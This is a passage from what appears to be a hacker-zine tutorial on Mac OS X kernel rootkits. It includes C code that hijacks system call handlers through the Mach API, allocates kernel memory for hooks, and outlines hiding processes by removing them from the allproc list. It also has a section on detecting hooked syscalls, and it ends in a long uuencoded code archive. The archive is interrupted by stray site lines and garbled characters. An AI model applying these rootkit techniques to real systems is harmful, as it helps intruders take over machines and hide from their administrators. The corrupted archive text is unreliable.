if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) {
fprintf(stderr, "could not read memory\n");
exit(EXIT_FAILURE);
}
/* do proper typecast */
sys_exit_addr = *(unsigned int*)buf;
/* address to system call handler pointer of SYS_setuid */
addr = (unsigned int)&_sysent[SYS_setuid].sy_call;
/* replace SYS_setuids handler with the handler of SYS_exit */
if (vm_write(port, (vm_address_t)addr, (vm_address_t)&sys_exit_addr,
sizeof(sys_exit_addr))) {
fprintf(stderr, "could not write memory\n");
exit(EXIT_FAILURE);
}
Now if any program calls setuid(), it will be redirected to the system
call handler of SYS_exit, and end gracefully. The same thing that can be
done using a kernel extension can also be accomplished using the Mach API.
In order to actually create a wrapper or completely replace a function
some kernel memory is needed to store the new code. Below is a simple
example of how to allocate 4096 bytes of kernel memory using the Mach API.
vm_address_t buf; /* pointer to our newly allocated memory */
mach_port_t port; /* a mach port is a communication channel between threads */
/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
fprintf(stderr, "failed to get port\n");
exit(EXIT_FAILURE);
}
/* allocate memory and return the pointer to &buf */
if (vm_allocate(port, &buf, 4096, TRUE)) {
fprintf(stderr, "could not allocate memory\n");
exit(EXIT_FAILURE);
}
If everything went as planned we now have 4096 bytes of fresh kernel
memory at our disposal, accessible via buf. This memory can be used as a
place to store our syscall hooks
-[ 5.2 - Direct Kernel Object Manipulation
It is not just system calls that can be hijacked using this technique, it
also works just as good to manipulate various other objects in
kernelspace. A good example of such a object is the allproc structure,
which is a list of proc structures of currently running processes on the
system. This list is used by programs such as ps(1) and top(1) to get
information about the running processes.
So if you have processes you want to hide from a nosy administrator a nice
way of doing so is by removing the process proc strcuture from the allproc
list. This will make the process magically disappear from ps(1), top(1)
and any other tools that uses the allproc structure as source of
information.
The allproc struct is, just as the nsysten variable, a exported symbol of
the kernel. To get the address of the allproc structure in memory you may
do something like this:
# nm /mach_kernel | grep allproc
0054280c S _allproc
#
Now that you have the address of the allproc structure (0x0054280c) all
you need to do is to modify the list and remove the proc structure of
the preferred process. As described in "Designing BSD Rootkits" [11] this
is usually done iterating through the list with the LIST_FOREACH() macro
and removing entries with the LIST_REMOVE() macro. Since we can't modify
the memory directly we have to use a wrapper utilizing the vm_read() and
vm_write() functions, which we also leave as an exercise for the reader
to implement. :)
--[ 6 - Detection
Detecting kernel rootkits can be very difficult. Some well known rootkits
leaves traces in the filesystem or open network sockets that can be used
to identify them. But this is nothing every rootkit does and wont help you
to spot unknown rootkits.
Keeping a known good list of the sysentry table and comparing that to the
current state is another way to try to identify if syscalls have been
modified. A popular workaround for that is to keep a shadow copy of the
entire syscall table and modify the interupt-handler to the use the shadow
table instead of the original one. This will leave the original sysentry
table intact and anyone looking at it will find it unmodified even though
all syscalls are still re-routed through the malicious functions. Another
way is to replace the entire interrupt-handler as well as the sysentry
table.
Rootkits that intercept syscalls and modify the contents can sometimes be
found by the fact that the buffer used to return data has junk at the end.
Rootkit developers could surely fix this problem, but they often don't.
Other indications of mischief is that calls that only returns counters,
for instance the number of running processes, systematically doesn't match
the count of running processes when listed.
One way of finding hidden files is to write software that accesses the
underlying filesystem directly and matches the files on disk with the
output from the kernel. This requires writing filesystem software or
finding a library for the specific filesystem used. The upside is that it
is virtually impossible to intercept and modify calls to the raw device.
Rootkits that hide open ports can under some circumstances be detected by
port-scanning, when more advanced rootkits often use port-knocking or
other types out of band signaling to avoid opening ports.
Detecting rootkits is a cat and mouse game, and the only winning move is
not to play.
-[ 6.1 - Detecting hooked system calls on Mac OS X
Now that you know how to hook system calls, we are going to show you a
simple, yet effective, way of detecting if your system has gotten any of
it's system calls hijacked.
We already know that we can get the location of the sysent array in
memory by adding 32 bytes to the exported nsysent symbol. We also know
that the nsysent symbol contains the actual number of syscalls available
on Mac OS X, which is 427 (0x1ab) on 10.5.6.
Now, if we want to check if the current sysent array has been compromised
we need something to compare it with, something like the original table.
On Mac OS X the kernel image is a uncompressed, universal (Leopard)
macho-o binary named mach_kernel found in the root of the filesystem. If
we take a closer look at the kernel image we get this:
# otool -d /mach_kernel | grep -A 10 "ab 01"
[...]
0050a780 ab 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050a790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050a7a0 00 00 00 00 94 cf 38 00 00 00 00 00 00 00 00 00
0050a7b0 01 00 00 00 00 00 00 00 01 00 00 00 6a 37 37 00
#
At 0050a780 we see the magic number 427 (0x000001ab), the number of
available syscalls. If we look 32 bytes ahead we see the value 0x38cf94,
can this be the start of the sysent array? I think it is!
All we need to is to copy the kernel image to a buffer, find the offset to
the nsysent symbol, add 32 bytes to the offset and return a pointer to
that position and we have our original sysent array. All this can be done
with the following C function.
char *
get_sysent_from_disk(void)
{
char *p;
FILE *fp;
unsigned long sz;
int i;
fp = fopen("/mach_kernel", "r");
if (!fp) {
fprintf(stderr, "could not open file\n");
exit(-1);
}
fseek(fp, 0, SEEK_END);
sz = ftell(fp);
fseek(fp, 0, SEEK_SET);
buf = malloc(sz);
p = buf;
fread(buf, sz, 1, fp);
fclose(fp);
for (i = 0; i < sz; i++) {
if (*(unsigned int *)(p) == 0x000001ab &&
*(unsigned int *)(p + 4) == 0x00000000) {
return (p + 32);
}
p++;
}
return NULL; /* epic fail */
}
This function can later be used in a simple detector.
struct sysent *_sysent_from_ram;
struct sysent *_sysent_from_hdd;
_sysent_from_ram = (struct sysent *)get_sysent_from_ram();
_sysent_from_hdd = (struct sysent *)get_sysent_from_disk();
for (i = 0; i < 428; i++) {
if (get_syscall_addr(i, _sysent_from_ram) != get_syscall_addr(i,
_sysent_from_hdd))
report_hooked_syscall(i);
}
Of course this method has it's flaws. An attacker may manipulate the
SYS_open syscall and redirect the call to a rogue copy of the kernel image
if the file /mach_kernel is accessed. This can be overcome by always
keeping a fresh and clean copy of the kernel image on a non-writable
media.
This method is also not capable of detecting inline function hooks in the
system call handler functions, that's a modification left as an exercise
for the reader to implement.
--[ 7 - Summary
Rootkits on Mac OS X is not a new topic, but not as well researched as
i.e. rootkits on Windows or Linux. As we have shown, the techniques used
is quite similar to the ones used on other unix-like operating systems. In
addition to this OS X has some extra goodies, like the I/O Kit framework
and the Mach API, that provides really useful features for people trying
to subvert the XNU kernel.
Manipulating syscalls, internal kernel structures and other parts of the
XNU kernel is a great way to hide processes, files and folders and even to
place backdoors accessible directly from userland. All this can be
achieved using either a kernel extension or the Mach API, and if done
right almost impossible to detect. Both techniques have different
advantages and it's up to you to choose which technique to use in your own
rootkit.
The purpose of this article was first and foremost to give a basic
understanding of the subject and is intended as an entry level tutorial
for anyone wishing to implement their own OS X kernel rootkit and we
sincerely hope that it helped to shed some light on the subject.
--[ 8 - References
[1] Landon Fuller - Fixing ptrace(pt_deny_attach, ...) on Mac OS X 10.5 Leopard
http://landonf.bikemonkey.org/code/macosx/Leopard_PT_DENY_ATTACH.20080122.html
[2] Apple Developer Connection
http://developer.apple.com
[3] Apple - Darwin source code
http://opensource.apple.com/darwinsource/
[4] Apple Kernel Programming guide
http://developer.apple.com/documentation/Darwin/Conceptual/KernelProgramming/keepout/keepout.html
[5] nemo of felinemenace
http://felinemenace.org/~nemo/
[6] I/O Kit Device Driver Design Guidelines: Kernel-User Notification
http://developer.apple.com/documentation/DeviceDrivers/Conceptual/WritingDeviceDriver/KernelUserNotification/KernelUserNotification.html
[7] Linux on-the-fly kernel patching without LKM
http://phrack.org/issues.html?issue=58&id=7#article
[8] phalanx rootkit by rebel
http://packetstormsecurity.org/UNIX/penetration/rootkits/phalanx-b6.tar.bz2
[9] WeaponX rootkit by nemo
http://packetstormsecurity.org/UNIX/penetration/rootkits/wX.tar.gz
[10] logKext keylogger by drspringfield
http://code.google.com/p/logkext/
[11] Designing BSD Rootkits by Joseph Kong
ISBN 1593271425
--[ 9 - Code
begin 644 code.tar.gz
M'XL("!LM]TD``V-O9&4N=&%R`.S]8Y1G3;,OBI9M=]FV;=NV;1M=MFW;MJNZ
MW&7;KNJR3O?SO._27NOL<\?8>YU[Q]TYYJC\S\P,9,0O8N:'F#6-[(Q-Z`#^
M]S;ZWXV-A>7OGI7UKYZ>D?GO_N\&P,#`P,;(P,C`RL((0,_P>QD+`#[+_V:]
M_FHN3LX&COCX`(9V3DXF_S?K?B\S-?WO4.B_MQG]\;^9B;.+A;&Y@9$5K;.9
MY_]R&7\<S,K,_%_XG_$O9__V/Q,C*Q,+,^-OG#`PL3(S`.#3_R_7Y#]I_W_N
M?[Q("`!H+BL)`.`+'@NG]9&$=\N/B/`MK_#J9HD-?-6(1FZ<RT3C:@HR61N;
M<GQ'<D(@0#2`LS`J/O.O@ZM'&+@]#&T4$26-?G")O$ZSCM+2TL[C/I;'E!'C
MDE@[S>C2#O8V98U'/M2O1&3BK_E>3.Z9R$#"'T#@,QZZ*D5@";E5HO56IYX=
M0?*#/VFZ(>#Z2N9ME,T[EQ\J/L"7FBW:&DO:[2^VV<IA6=;TDD00U_02VE,?
MMW\DKW^.+BWPAF[KSC]@#W:X+M,%,=<12K1?TMTI-GR`OF(X9!HQ?;WZ;7U^
MO?%5CP@`L\ABNAIMS&*9#IJ_S_5%0VYT!LN5[@[@=!KTDP7.4+S[P?26W'2O
MJLN[M^[V;V+Y^^;)@T>K&L%_9K&(1N=B38Q@GVA&R]UH@W=X[D/5V1>"HZ#Y
M[P($GX]$_7Q&_+QD^\3Z[/W.5WJ3Q#\%&"/O#A#!^3[PZU3+'PD3^WT.X!CA
MAU?[F5[]9^_K&K9=4U3")]T=$-ZCG\0.A^$7:+S7Z==ZVZ>INI$31_^)>4VL
M&<W==O%379^MTZ.O'9UGQ[9FARS5\Z(CGO:=756FJ5-+;ZL8`JE[!,P{body}lt;K`4
M?#M\ZL%J\1/F2,SABA!]0=1<OY:S%1;R':3_R<Z4P7?QZT'0L/MBEVA`)VNM
M&G2"YUS_^M!KG@OUI$!0E[X4<#8M<'-+]42IKY%SMI,SP.R3I:&667N+C!4!
M<)HF<)F3;T8H"^.A(N`,PB!I7GI/\IA#\[72,,/XPKWY>'/G>8(G#^?+^]_(
M$;P_>,MFL'[1C;%\]CW^<G$_GB(0!/FP&T'1T<4TU&KOVB""(3MY.4CITWQ+
M&!OUDQR#M-''F:UG82BY`?WDG-42@!-8_"QB]/_)S2TF_`AH@E!C\"T',)#=
M_))D]35BP(KN'4CD'BH)1V<6/^5*&X\18-V!'>A$_^F1OD,!@I/EP>J)'ACS
M5,9]'[]M
gemini - kennedy.gemi.dev
26F00,BN7A.F+`0$5>A%-Z(9G2/H&&T'R-`LX(5;W$!!6AV_.F
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
M[`'J:"R#)Y@M^:*%0^D8!LBQW9+21;[';1X>#QJ-O@)%-Y"4Z=4&^{body}amp;U>NVM
M86_W-*]0/U[1P@W?9O@:7;\74Z$_%CA#6)#$]?R*^5!)<NBU<S9SW]=`0G_E
MDRV,,>4LGP_V":(IX5'G0-<;0_&]'Z0/3]BAZ{body}gt;BV05N.5YQPK6$*6:F-EXR
M(5$)0!:H:!B(HZ1AL>Z&3DC]0<-E)TQ[=FT-/82)S$M36U.WSR7XP@V9$24<
M(Q0Q0J"@A`CNYYX_1:!B4ZAX6P+\)1Q8Z-S#ML`YJKLB6V(P`.6X-R#%D5/O
M:>Q-AJ1"=D),DMAL93*MBEF^%Y:)Z10`RWDT,);)=J2*ZV*4<6<?<CVV,R$U
MM?V@Q9-[8&Z`"=AO1)41/8T1QUS+RRMRI!CW;?9'X'B8*"6Z#.SN`J+<#RA2
MC*M5J8D)^JG)!P:)EZ0^8SJ",H>R559_:]$]R,ZT$L6IB'H7YO5SC19I2^@#
MK9$%4:B\V](K*D:1@GT9*!2Y*IG_<PD#&Y$-I*,@_HMFCHP1@B/:J=%926:
MMIE+PKY`5GMRJVJ6E:4_Q3E^BBL<N6F30:<$*ZN*[S0(DR0*>04#(A>IT>N;
M_J0+OG]>-1Z%X&H=P9A7AJ4=7_0Y?2FX#356/2M+2)6/U(Y/+FO((:/!/>OW
MR0+;[/B^BZ]'BW8XH<33SHPF-Y=B.4O[P&&YFE1E_BZM%P,)83&?W*J@:B\=
MD(G,U_\AQ;V:PQ?4'`VS^^K1WWY);8K:&,AQ:_`!8["5AY+<5THTFSJT)V5X
M2X{body}lt;^?Z[(ZEOXPH7$3@?X)^4&O2U6T%DF7W6%3N!Y:0+'YXB15O$:<^BO'P
MBZ8N?']OC"J@)!282PA((W8HZR;2$,5P^KI=23M-NH3(X7*/P`&7.U'OLP<C
M$#1I"UJ';\)%?U-V!,C!#S'O8#)?RA(OT#>13$N8T'%BR3!P@M+U9D#0P52M
M0[*6=`MP/PF=JA:R\CDEH2;T#D\!S4Y@D9YZ<T#(>X_3%3PH)1I7S(0Q,F"<
ML$,WD@4+?B'TE(8%7#X@3$2PZ]670:/@:3P(GZ'V@%)[2U(F4+\R?`^H_.FC
M;LPV38)&1!)\Z\
gemini - kennedy.gemi.dev
>)MKN+Q8RQ1VT!6HCX/VFLP,IP$2!`/MP308C:?-+P9C
MO.I&SBXS)'+E*&`-NUK""QR:=`4$Q-)=.`HH_4[#WPK6(U1[;9J'Q;0IHH:A
M1=Z
gemini - kennedy.gemi.dev
H)XA7CRH82A?N&VT')12+$47OA6$CYK]X@TE5H32AK"M90-Z8E/!AR5
MZF_G$971N7+O3^<'OYG@*!M!8))VLVFR"]#:PG3+=JUW3G`M0)('YY.9%'$%
MXR;*GZ:LMA`(!PUB#0Y::3$+__7<BN<KR1;%E_7.98].X5KR<BA]#X[(4U[7
MNT[<IT[#(U6BZ,F<S'AQ-VD2W;^\9(:>D7&%:9ML31/C%-_$Y3LE^LM"<Z;B
MB-SH>UDX/AK=H#ZCG6)2?ULD.<NI8]-%FPH57GUDHZV/+-J:D"RB<+(2`<(Q
MJHC"(>S!>"];]R`3U@OTCY[>1[C<[2:L^.B1Y`E3]*/1N\VW2[F4<6QO9/<0
M*=UQO)AQ,>0X_$H(B)]^"JUD2^9F1Q,@/=VKWQH+6C8B-`#4OH$U7+2HXAW.
ME>1GUA>OJRH)(*A&4#*JEEUD%:1<,-345!4TW+8S<Q1^/>P/#(&=C$Z5J:S$
M9]<H]8SF;N,LAWUZ6GK-GHYE$3Z1R,BSUTR49Y$V%LX!:)9#Z9@0UV[VLWV+
M5$2G_!9TY.5[_JMZH[T^@G?K>SV=K=MFUR)MCR/9J=DZPZ>_HG,B)\FG![X*
M=\E$O4W&ZP"HA?S;<F@<6_VH)6A.N(]2$O_T<XXSJB2"G'HR^?1N2!*^+5Y0
M%SXN#8F:(L5@](W3!_](EOAW.3AOY\:TTTGF"0DDCP>:/=1PED=B!/*\V`*T
M_"*F-0];"_;]UP)(K@+("%*5>9!I<&@%D)S3-N4Y$-,DAP*ZZEL8\!:>9@XZ
ME717$;8Z^L<#5`&K1)-HGIQS*?H>"T>Q*5F2ZD;1R(LOGU#>+.\>C(WS>U`.
MF-,',WFN8]FGNOLCBFPYOXF&WJ>VZQ.W--/CNRZ%G+:\KKY#CSP'RV_+Q`)G
MDRT-O`8IXNU,;P^5_!^&MJB3X=J?:V)^>*\B7\_[(Q)JT&P69@CKL7K9%%#<
MPL`V("#QQ!#!R/16'+<D6H]J';I[0V9DAKCG@W:&EJ$N57V:6UZKXV#;/[RN
M[[7%YME%L-^%N1U'MF^[?'6KFT3D!"F!?`I8.V1EM>.7O\BI7!E`N=0DN
MIZ8)!8(6GC8JGTJ5MU@Y+!<L_5&*":/%.=%B87''++K6X;!_0FB$!GV#31K%
M\I#5WP2QQ!-4E/^-CO<XY:05R(4SH?<([V"0^PC;112FH-L"9B;HKI`BI`;"
M7:]>P8;TW>71\S%I]E$H0ZZHR25:.:[C]67L`16<2FY08]AMZEQ^F_LA#5/J
MKG#Q9`]0JH8(@*O@*'_2!.6:(9HQHXQ#3&+1[@1EYW"K.D+0Q4G3YX8K**</
MI?!M@M0VG!F:&9Q?'?W(TGXB9N_%H:"J6MR$:^2N\>L&;O(B-QTFIF$:$R(U
MBZA+-W&1\$D;:05+,P[06&,.QV=#G+*.XW.9VS_$4D1JZ"H7F"YA3PSO#>SB
M.K\"!5NM!*Q4\BO9\2C6LBN:SB\DRHV-&2]5+C34KD)0<<ZAJEMT1E^=[1\]
MF-FOO<^TO=]_H7#XCNS:K]^LN'DQ%R'+=N]!EFK_*(;DV`ES(=5;XN0[#,,@
MB39."$W`RV5.\`"E*/#WQ\\_?A()EI6#/#MJ$+U@0E"+5F"]G+#(S'DTB=/F
M,QM2CFIV$N,`%_6=U]CVK=;8%J`YV:/M')>>91\37IX&C;\BN!W7'=#%5W`8
MJ\!?L$N!=APLY&CEZ4*Y'J)E-VMJ(%B=6K@GU]MY:(%`P1G6G/`&">LU$W&
MG?N"8JXD1I^8**,1=T:MIEZV_U;)]'2BRY1CU]EK/5YZ!B6WH_0!BK:BN!IV
MV."AH9_IK$OB050Z5Y80)JPBQ`]W(>@EEKIL^\R>@0/1>-+AN`N9$%.X=:HD
MJAH0J]O3H;I$:6Y!\8V%4!#"5F/5*,9WCEG$%=EQ!66AH$[ZFXXOL>DR07":
M,5OO]>'!SEU&2N0%WE5.9!EK?T_@0'P2A@>P6X:LZ>&L)!0+-3)7E>Z@=YV>
M%))!*EBWY%%<[BAG96""!F]W2&O&6<GY4#N'G?5+"H&M6@5RDZL531#M?=[O
MT)(!&Y(N;5Y!K;4-QSU7T*O654JL/IC/Z;ZG9BPL#GU$P7"?G5B(9^8@,SC`
M6.PH755A9S6%C0WP<)8.F2Z[N4E#99F@#1.HR,5+1`ZK<@J!*00<[)>W,!.;
MNQA8_1F8;C9.'PE;RGH7FZ1_"D6EK7&MG.YI6.W:((U8N.@E+M.OQD47HL$R
MXGF1X'(4U;QPOM1\<H&1P@1**1G#:M`YR^&IX!TH31Z@"E5_1L$XO+?FB3W9
M:H(0-\#>RD7=O7=*!^K:T]9YE([4,E7;A9">&D\L+IY,3.RP=I2JH<P.7U(0
M"RM3)^K=$XS?.>@&YI.L)%S-<Q)X&[^.25<?,UG+9>Q[#JSO0;-F1B,U?-:+
M]=H23J0?L"@3ZHC?QIF/?0ZKQN!$SHAMNB15(^E]D355+^+K/=57/ZW0L"CG
MO[F&].ZKIK"6Q;FPYE,-6Z^O9GMO:4LMGM=<,?N`]J!<1X>UR=VI&,""MJ=V
MM8U*ID?%+!0]KN9;F%CK'"PWRGC{body}gt;2^CNFT+Y"KT<K.9%?#0NB&`1><R_VP$
MG.D/)=PL<'X_QL.0GU%=7YE=^();Q/M2\UAYT[S.M80>L47X.<DEQ*9WX`+?
M0.ZY^*JYZ7_H@E)90=UB\,L_($C,6\M'4`8VA@MK#<Z9\B>93%Z#DN5;L=MT
MU;Z>7'!A\UF2@O(LY@/:BG+*=DDSUPU]/YF<[6B,ZO,$=D%HU%+COO\BJ=2Z
M<L*$7-9JA6V#5=1I^F>,S['MEWM"M=D1WT\AP4W$Q^D[HZ5<`>.#PW)XNWC;
M#'/L"KWBYQYVISSQ!B`'_Y7D@QIA5K@RS=ZS`'"1=.`U$?G9B!,<3BR?KA]=
MJ@3S'WH\MM-;J5+-WAEEDG;Q*7[8JOP7#I`LC!X2)W$M#\A6M[QQB8;([*(M
MO")Q4<F+D*I9;S5M&=K$9-_"7NCV.8;OJ2Z2V(!GQA6$PC0_(3T!N\5:O\N%
M9D%*Z0+=09R:A"]9Z?'Z5/C)LE`I+2PX!LH5,'SG9`'=[4.DIGE;3>,G$(QV
M,6%)=+?Y=EL1PH\>3\[7?XK:O8+QJVR9(QQ++Z4?7V/[4"+M>)1NECQEZ6@C
M,^,;LZ?S4-U9/0H(IC^EH!H&!UO'MX"P9\K:;DE%PV0OJ>$D==#V)?%P&U>^
MP*#2UY5&'XDB*I3)=QRM7T,'2M8TN6^><:5IKA)9-E01=T:EVI0(57PS=Q:+
MTW[=8;^4XI&6H04C#Y6=Z&KZ'`[XJ3*&D4V&6XDS^!.([4._@8B2?'>+T82>
MM]^5,N)2&R>X_$7\=+1WY@N9XK+).&8)+Y)P4EHQ]BL1^7W;/CRB@M4]!QU4
M),E=P,8>B"Q<$M@ATYCY6K,CYPI_`3\*K1]PQ;DC&LKFR;)YULV/[]F;P1KO
M_:.SN]:K-E!MTNI4;;)P"1!*28`55G5.`/HC#.`P6=;&"=S0?G#0V0.#FWZH
MQ1&#IXALDG22_G0=X!$R4]WM%NI.T(T?>3><W+EH-V_]R%CDI+SAAX./[#Y8
M$RF53K`F@G9!'9%U^S/*6KPU{body}gt;C[E]7U2<:\:,)69<>:H=[5Y56RRN7@T0\P
MR.\!3JY*@DCAE!CD$L2/W65-^%S*=7EQV.OM/_C:_>S][CK,1+>1D%H2+X"5
M\@/%>)@V>3XX,@Q.ND$57Z'$K>GV25!P!QH?L<PBU=#)I1J"Q[9XZ7]:8O0-
MS]GR@UXE$_6CV:H7NF4T09\%V5J^Q%I,&^1U.]<F'[)N](-<MB
<%6NI;`:
M^"-&!?MU]%E$FK!)>L3N@G&>W*A9=FN],[P1ML0JJ1C6$F2U</K,6C_3E5F7
M]H+<T/U`%(_)EDN,#:]P[((F%G`E((8JT8,373:S[Z_#5MVT7=:JQ;[J[G8Q
M.*/D5\P6[U>0]>4P4N1T:9'FDSDV#5H.G[5Q>"2[@`2M7[004IY^TA)(O&F(
MSXXS!HF=@F_79"XT^N#&,8+J6Z/G{body}gt;(3M`Y`U*X31`4![X_%;]8LV$@)%:I?
M1-O!:P^SC5-\'>%FY&V56NU]`N:YSYI:^2QJ_]3W.:?EWC`(K4"AF?W%CW#N
M\QXM7J'=%+!;Y;S>[0I!#1C-%WS"?=M$%Q%^7(\?"T?J;`]8*C9R_AA[7EJ*
MPZK+;V:RGT)??];-%`K%.Q>^,7TN[%2[!(LDQ1VM@M/56!.GPE/DS-;H2=B;
MJ7&)"^#B=FN)1V"T0,.3N29$)&9??T_E!?KMX+U0%(#N@+"MV&SLN"+2U;)?
M7>_^B`TR-RYA]T<,671EEJ.AL?=[^`%_X:T\/&-T(9&/AV>2.MI7/9L#!M#>
MLEAT/=<G<@=.3V+$%TB^4]A7C\3XD-\S*2@U['H5V`"I?U6]&Z6RKL*0!0@&
M8+BAND2^+Y`&'ONR5"NN]H`_+2QQ+@@[_AO^VB38#Y$CJXBE2H%&4GB[9:AK
M9Z,.9$I9]CX-'+NXH"HXE63A!IU@T88"A%CCQLT@KPIDN=$Z13<MTQM^_[AZ
M<$XO]Y;&DU>&$U5&&1VL2>G%OKP3T(+P-{body}amp;F11V4!C8&0*&(X$:7#0]+)(S4
M!6[:\JL'*#HJJ?C4D^B$L@Y]!@"#HD2^RJ"V9[O-AVPI0VZ(Q;PMMRN?LSB@
MG-Q%G3.0%7:S!]AFNXOKD8BTO$EM0"^([=ML<,W!U.4VAA.W&)F='`)AD88A
M[PIR4F,9QZVT4)2A40H!-SHRW>_6D(/7=JH$E@JYBPC(WPR[@42>(0:3](\W
M!MWOB_&$KFRM[/"/+2=K/_UW@%E,OE7Q6I[<AE5.[9+&I`QXT<^+EK`LDOV0
M9H65FG,6]?]YYOJ=];/*WWDM,"[EF,1D-D68>*>ZT25;Q5GO@.@9*P[A$?&'
M4\=]7%S)[<[+M(Q[L<D%[81UYL+!BI\[PN<;7&:N^`=T,I<%T$!^6'N:KW\1
MUS(V_#T(@R5.,(W"1L(R6_CSF`@=TK?]C4=>0U.",)WZ95[43A"`Y$EH1YZ,
M66N[S?!.3XR:UHA&C6H\6^SEW!H>/.M^;#_(+'.BF;U!#'3)$RGZH`OBR<:@
M4L6M#C%=?EP%.4ZBLJ!C;1I]S(	A)7T'H2J4$#KQ6L1Z\AE`=.1VK'#[-$
M4Z=)N`D/5_:K)_)?.04R6)`^[8M8<+*AEGJG36`TIAC@UA9F#I'3F8#S[?IW
MV'-R^\_>E8A%$2H4JZ'QR='&@>G).GXI!PASE"AJQA=$#7FWHW/X(.J`KT)
M25=![[BX[){body}lt;./78U^(/3&M9LP]L,=W^[,U#9Q(>"<,91PJYIP]:ZYW9QB08
M]"U&$Q4>36JZW\/&8I^^*>2(1]PJ:L"`H[K,HO,[>6VZ:@&2'(#J7DY`Q0C4
M>F:2*5H4C+H?VF`ZT0Z{body}amp;45*."L+=J?^S&J`Y(D9A+O3;Q1-%:#RF!7EM6YG
MB@X"=G)$?,E21A%L]LW\?2):Q0G+WGAA_"#>CK$KBY[5'K-1J]2WV4W5BY8:
M5)ZICF>=)?E``JY`EWG8*DWE]M#NNG17&U601Z(^4FLVN]55;QJ>6F:#A6A3
ME0WB8>]GT3</V+H:@KR9R`@E?)$CE[BQ)*(C73G7$2\B@BE(\'3&*\0%A/+(
M`-P(3$O\"%1)*G7Z]7KI&E0Z#U%A-&FS[(*F[Q=H/6JDX5?M:D2G8ZD3Y-PA
MZ(\BC;M70MUZRU)9IZM7^U'VD\PI46'7L1.%0L1PQ(F4B6$UWS*5/5BQ,R[]
